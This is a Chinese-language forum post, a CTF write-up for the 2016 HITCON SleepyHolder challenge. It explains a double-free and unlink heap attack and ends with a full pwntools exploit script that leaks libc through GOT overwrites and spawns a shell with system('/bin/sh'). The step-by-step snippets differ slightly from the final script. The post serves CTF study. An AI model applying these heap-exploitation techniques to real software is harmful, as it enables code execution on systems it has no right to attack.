首页
论坛
课程
招聘
[原创] 2016 HITCON CTF SleepyHolder
2018-4-22 16:44 5303

[原创] 2016 HITCON CTF SleepyHolder

2018-4-22 16:44
5303

2016 HITCON CTF SleepyHolder

序言

本来这周准备学习House Of Orange, 但是这个牵扯知识点太多. 忽然发现还有一个fastbin_dup_consolidate没有学习, 补一下.

程序运行(文章尾部有程序源码)

1. MENU

1. Keep secret
2. Wipe secret
3. Renew secret

2. Keep secret(New)

1. Small secret
2. Big secret
3. Keep a huge secret and lock it forever

1
Tell me your secret:
hello, world
#另外两个选项类似, 只是分配的堆空间大小不同

3.Wipe secret(Delete)

Which Secret do you want to wipe?
1. Small secret
2. Big secret
1

4. Renew secret(Update)

Which Secret do you want to renew?
1. Small secret
2. Big secret
1
Tell me your secret:
AAAA

程序分析

1. Keep Secret(New)

可以选择申请40, 4000, 40000三种不同大小的堆块. 当申请大小超过top chunk size, ptmalloc会整合一些fastbin中的free chunk并入top chunk, 如果还不够就mmap一块新的chunk,这个chunk与原有的top chunk之间采用单链表链接.

 

2. Wipe Secret(Delete)

free对应的指针, 标志位置0

 

3. Renew Secret(Update)

 不检查指针是否已释放, 造成Double Free

知识点

Double Free
Unlink

思路分析

    总体思路: Double Freesmall secret, 在small secret 中构造fake chunk, 释放big secret, big secret会和fake chunk合并, 过程中我们用unlink来修改全局指针变量s_ptr. 通过将其修改为free@got, 修改free@gotput@plt, 泄露libc 地址, 再将其修改为system地址, free "/bin/sh"时就等于执行了system("/bin/sh")

 

步骤一: Double Free

add(1, 'aaa') #small secret
add(2, 'bbb') #big secret
delete(1)    ------------------
add(3, 'ccc') #huge secret    |--------> Double Free
delete(1)    ------------------

步骤二: Fake Chunk

f_ptr = 0x6020d0
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(f_ptr - 0x18) - p64(f_ptr - 0x10)
fake_chunk += p64(0x20)
add(1, fake_chunk)
delete(2) #unlink

小结: Unlink栗子

 

步骤三: 泄露

content  = p64(0) + p64(atoi_got)
content += p64(puts_got) + p64(free_got) + p32(0x1)*2
update(1, content) #f_ptr = free_got
update(1, p64(puts_plt)) #free_got = puts_plt
delete(2) #puts(atoi)
libc_base = u64(p.recvn(6).ljust(8, "\x00")) - atoi_offset
system = libc_base + system_offset

步骤四: system("/bin/sh")

update(1, p64(system))
add(2, "/bin/sh\x00")
delete(2) #system("/bin/sh")

踩过的坑

  1. 对于read函数, pwntools发送的时候最好不用sendline, 尽量使用发送足量的字符来结束输入. 就像本题, 如果将add, delete, update函数中p.send改成p.sendline, 那么会出错.

  2. 泄露libc base地址:

    1. 泄露libc中某一个函数的地址, 减去对应函数在libc中的偏移量就可以得到libc base
    2. free掉一个0x80或大于0x80chunk, 泄露出该地址, 减去0x3c4b78, 也是libc base(libc的基地址)

完整EXP

from pwn import *

context.log_level = 'debug'

p = process("./SleepyHolder")
elf = ELF("./SleepyHolder")
libc = ELF("./libc.so.6")

def add(index, content):
    p.recvuntil("Renew secret\n")
    p.sendline("1")
    p.recvuntil("\n")
    p.sendline(str(index))
    p.recvuntil("secret: \n")
    p.send(content)

def delete(index):
    p.recvuntil("3. Renew secret\n")
    p.sendline("2")
    p.recvuntil("Big secret\n")
    p.send(str(index))

def update(index, content):
    p.recvuntil("Renew secret\n")
    p.sendline("3")
    p.recvuntil("Big secret\n")
    p.sendline(str(index))
    p.recvuntil("secret: \n")
    p.send(content)

# Double Free
add(1, 'aaa')
add(2, 'bbb')
delete(1)
add(3, 'ccc')
delete(1)

#Fake Chunk
f_ptr = 0x6020d0
s_ptr = 0x6020c0

fake_chunk  = p64(0) + p64(0x21)
fake_chunk += p64(0x6020d0-0x18) + p64(0x6020d0-0x10)
fake_chunk += p64(0x20)
add(1, fake_chunk)
delete(2)

#gdb.attach(p)
#leak libc base
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_offset = libc.symbols['system']
atoi_offset = libc.symbols['atoi']

#gdb.attach(p)
content = p64(0) + p64(atoi_got)
content += p64(puts_got) + p64(free_got) + p32(0x1)*3
update(1, content)
update(1, p64(puts_plt))
#update

delete(2)
libc_base = u64(p.recvn(6).ljust(8, "\x00")) - atoi_offset
system = libc_base + system_offset

update(1, p64(system))
add(2, "/bin/sh\x00")
delete(2)
p.interactive()

相关链接

Isaac
0x9A82
相关文件下载


《0day安全 软件漏洞分析技术(第二版)》第三次再版印刷预售开始!

收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
黎子瞻 活跃值 2019-10-27 16:46
2
0
“unlink来修改全局指针变量s_ptr. 通过将其修改为free@got, 修改free@got为put@plt, 泄露libc 地址”
问一下这个泄露libc地址的过程。。。可以详述一下吗?
游客
登录 | 注册 方可回帖
返回